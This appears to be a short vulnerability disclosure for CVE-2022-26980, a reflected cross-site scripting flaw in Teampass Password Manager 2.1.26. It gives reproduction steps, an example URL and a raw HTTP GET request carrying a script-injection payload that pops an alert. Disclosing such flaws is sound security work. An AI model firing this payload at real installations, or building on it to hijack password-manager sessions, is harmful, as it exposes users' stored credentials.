RNPG / CVE-2022-26980 - Reflected Cross Site Scripting (XSS) Vulnerability

Secret

Created 8 months ago

CVE-2022-26980 - Reflected Cross Site Scripting (XSS) Vulnerability

```
1  Vulnerability Type: Reflected Cross Site Scripting (XSS) Vulnerability
2  Vendor of Product: Teampass
3  Affected Product Code Base: Teampass Password Manager
4  Product Version: 2.1.26
5  Description: Teampass 2.1.26 allows reflected XSS via the index.php PATH_INFO
6  Attack Vectors: Someone must open a link for the Teampass Password Manager index page containing m
7  Attack Type: Remote
8  Payload: ><script>alert('rnpg')</script>"
9  Assigned CVE-ID: CVE-2022-26980
10 Discoverer: Raspina Net Pars Group (RNPG), Faegheh Saberi
11
12 Steps To Reproduce
13 1. Browse the Index Page of the Teampass Password Manager 2.1.26
14 2.You can create your malicious payload like the following and run your arbitrary JavaScript code
15 Example:  http://<address in which Teampass Password Manager is set up>/?"><script>alert('rnpg')</
16
17 #PoC
18
19 GET /?"><script>alert('rnpg')</script>" HTTP/1.1
20 Host: <address in which Teampass Password Manager is set up>
21 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
22 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
23 Accept-Language: en-US,en;q=0.5
24 Accept-Encoding: gzip, deflate
25 Connection: close
```